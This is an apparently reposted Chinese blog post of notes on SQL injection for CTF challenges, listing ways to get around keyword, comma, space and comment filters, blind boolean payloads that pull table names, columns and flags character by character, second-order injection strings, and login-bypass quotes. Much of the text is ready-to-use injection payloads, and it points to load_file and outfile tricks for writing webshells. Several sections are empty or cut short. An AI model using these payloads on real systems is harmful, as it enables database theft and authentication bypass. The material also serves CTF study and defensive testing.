-------已搬运------SQL注入的 过滤 思路 payload 万能密码
目錄:
- 一、過濾關鍵詞:
- 1. 過濾 `=` 可用 `like`,`regexp`,`in`來代替:
- 2. 過濾`ascii`,不能用bool盲注了。可用`ord`來代替:
- 3. `,`逗號被過濾了:
- 1. `substr(***,1,1)` 用這個來代替:`substr(***from({})for(1))`
- 2.`limit 0,1` 用這個來代替:`limit 1 offset {}`
- 4. 過濾了,information_schema.schemata這些,---無列名注入
- 5. 過濾了 union 的無列名注入: ----- ascii 偏移
- 6. 過濾了union的無列名注入: ---- join 方法,
- 9. regex注入
- 10. `/**/`注釋符被過濾的情況,以及和`/**/`有關的過濾
- 1. 繞過/**/注釋
- 2. 內斂執行
- 11.補充:
- 二、一些小trick,思路:
- 1. 關于bool盲注的正確與否
- 2. 關于二次注入外顯數據
- 1. substr 帶出來,
- 3. 不行直接猜測 select flag from flag 或者select * from flag,,,md
- 4. 如果需要session驗證的話,
- 5.關于閉合`單引號`,
- 6. sql注入,首先考慮 聯合查詢注入:union select 這些,然后再去思考 bool盲注,time盲注這些。
- 7. 閉合`select * from users where name=''and pw=''`
- 8. load_file(), into out_file(),的利用在 二次注入中出現較多。
- 9. load_file()分 長度讀取 flag。
- 10 .當PHP的版本較低的時候,可以和mysql結合,考慮`;%00`當作注釋符,進行截斷
- 三、一些payload:
- 1. 過濾了 空格,但是可以聯合查詢的bool注入:
- 2. 二次注入,可用substr:
- 3. information.schema等被過濾了,不能夠查詢表明,不能查列明的時候 ---- 其他的來查找 表名--- 無列名注入
- 4.無列名注入。
- 5. 最最基本的聯合查詢注入:
- 6. 過濾了union 的無列名注入:----ascii偏移
- 7. 過濾了union的無列名注入: ---- join 方法,
- 9. regex注入:
- 10. 堆疊注入:
- 四 、 萬能密碼:
字符是 32 - 128 。
還在補充中:…
一、過濾關鍵詞:
1. 過濾 = 可用 like,regexp,in來代替:
=被過濾了,可以用 like來代替。
如果=和like 被過濾了,也可以用regexp或者 in 來代替,后面都有,
注意:盡量不要用regepx來做,后面有解釋,用 in like是可以的。這個 和 = 的效果是一樣的。regexp是正則,如果ord是100的化,你regexp(1)也會是成功的。。。當然除非我們使用regexp的正則規定,算了沒找到,就不要用regexp了吧。
能用
盡量不要用regep
2. 過濾ascii,不能用bool盲注了。可用ord來代替:
3. ,逗號被過濾了:
1. substr(***,1,1) 用這個來代替:substr(***from({})for(1))
- substr(***,1,1),用 substr(***from({})for(1))。來代替。
from是從1開始的。for總是1。
2.limit 0,1 用這個來代替:limit 1 offset {}
這個測試過濾,不能夠用括號來代替空格。。。
4. 過濾了,information_schema.schemata這些,—無列名注入
當information_schema等杯過濾的時候,能夠查詢出來數據庫的名字,但是查找不到表的名字,這時候可以用這個:sys.x$schema_flattened_keys或者sys.schema_table_statistics_with_buffer來爆出表明,這個也能爆表明:mysql.innodb_table_stats然后列明也沒辦法查么,可以用無列明注入
表明下面這個兩個能爆出來,但是列名就要 用 無列名注入了。
select/**/group_concat(table_name)/**/from/**/ mysql.innodb_table_stats。
select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()
5. 過濾了 union 的無列名注入: ----- ascii 偏移
BUUCTF:[GYCTF2020]Ezsqli --過濾了information_schem ------ 無列明注入之過濾了union 使用ascii偏移來做
6. 過濾了union的無列名注入: ---- join 方法,
9. regex注入
可以看這個
10. /**/注釋符被過濾的情況,以及和/**/有關的過濾
1. 繞過/**/注釋
/**/是MySQL的多行注釋,里面的不執行,如果題目只是過濾了/**/這個整體,那么這樣就能夠繞過了。
select/*sadfa*/user/*qwer*/from/*qwer*/users;2. 內斂執行
在多行注釋中,前面加上!。就能夠執行了。
select/*!user*/ from users;11.補充:
二、一些小trick,思路:
1. 關于bool盲注的正確與否
如果1^0這樣的,錯誤的時候有回顯,正確的時候沒有回顯,那么我們完全可以再加一個抑或啊,像這樣:1^0^1。這樣,就能夠達到我們一一對應的目的了
2. 關于二次注入外顯數據
1. substr 帶出來,
name = 0'+ascii(substr((select * from flag) from {} for 1))+'0=。
3. 不行直接猜測 select flag from flag 或者select * from flag,,,md
4. 如果需要session驗證的話,
可以繞過,繞過生成session的頁面的一些過濾。用session_upload生成一個session。從而繞過。
5.關于閉合單引號,
閉合方法很多,那些基本的萬能密碼那些就不說了。
這里說一個,用聯合注入,測試 列數的:id = 1'/**/group/**/by50,'3。這樣來閉合單引號,因為我們如果用group by了,那么就沒有辦法閉合單引號了。這是一個小truck。具體題目可見這個:BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入–無列名注入-group_concat ---- /**/—group by ----- 3.9修改
6. sql注入,首先考慮 聯合查詢注入:union select 這些,然后再去思考 bool盲注,time盲注這些。
7. 閉合select * from users where name=''and pw=''
第一個反斜杠閉合,后面的閉合就好了。
select * from users where name='\'and pw='or'1'
select * from users where name='\'and pw='or1#'
select * from users where name='\'and pw='or1--+'
select * from users where name='\'and pw='or1;%00'
8. load_file(), into out_file(),的利用在 二次注入中出現較多。
sql二次注入,,,里面有一些 payload 不錯,可以寫木馬的。
9. load_file()分 長度讀取 flag。
10 .當PHP的版本較低的時候,可以和mysql結合,考慮;%00當作注釋符,進行截斷
這個題目應該就是用的這一點。
三、一些payload:
1. 過濾了 空格,但是可以聯合查詢的bool注入:
這個稍微有點雞肋,不過還好,用了 group_concat因為這樣 以來select就不用 limit 這樣了,就不需要使用 空格了。
關于ord,in regex什么的可以看上面
查找庫名的:
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables) where(table_schema)in(database()))from({})for(1)))>{})^1
這個放到 pad++中好好看看括號什么的。
?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from(1)for(1)))>(1))^1
查找 表名的
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from({})for(1)))in({}))^1
爆列明: 這個過濾了單引號 ,,用16進制繞過,為 falg字段的16進制。
1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)in(0x666c6167))from({})for(1)))in({}))^1
爆flag:
1^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))in({}))^1
2. 二次注入,可用substr:
name = 0'+ascii(substr((select * from flag) from {} for 1))+'0=。
3. information.schema等被過濾了,不能夠查詢表明,不能查列明的時候 ---- 其他的來查找 表名— 無列名注入
這個爆表名,
select/**/group_concat(table_name)/**/from/**/ mysql.innodb_table_stats
這個能爆列名,
select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()
1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))={})^1
其他payload看這個把,
BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入–無列名注入-group_concat ---- /**/—group by ----- 3.9修改
4.無列名注入。
其他payload看這個把,
BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入–無列名注入-group_concat ---- /**/—group by ----- 3.9修改
5. 最最基本的聯合查詢注入:
爆表名:
select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()
或者:其他的過濾的話,看其他的,這里只是提供最基本的語句
select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1
6. 過濾了union 的無列名注入:----ascii偏移
BUUCTF:[GYCTF2020]Ezsqli --過濾了information_schem ------ 無列明注入之過濾了union 使用ascii偏移來做
7. 過濾了union的無列名注入: ---- join 方法,
9. regex注入:
可以看這個
10. 堆疊注入:
看強網杯和那個blacklist就差不多了。
四 、 萬能密碼:
總結
以上是生活随笔為你收集整理的-------已搬运------SQL注入的 过滤 思路 payload 万能密码的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 建议118:使用SecureString
- 下一篇: MySQL 5.7 OCP考试大纲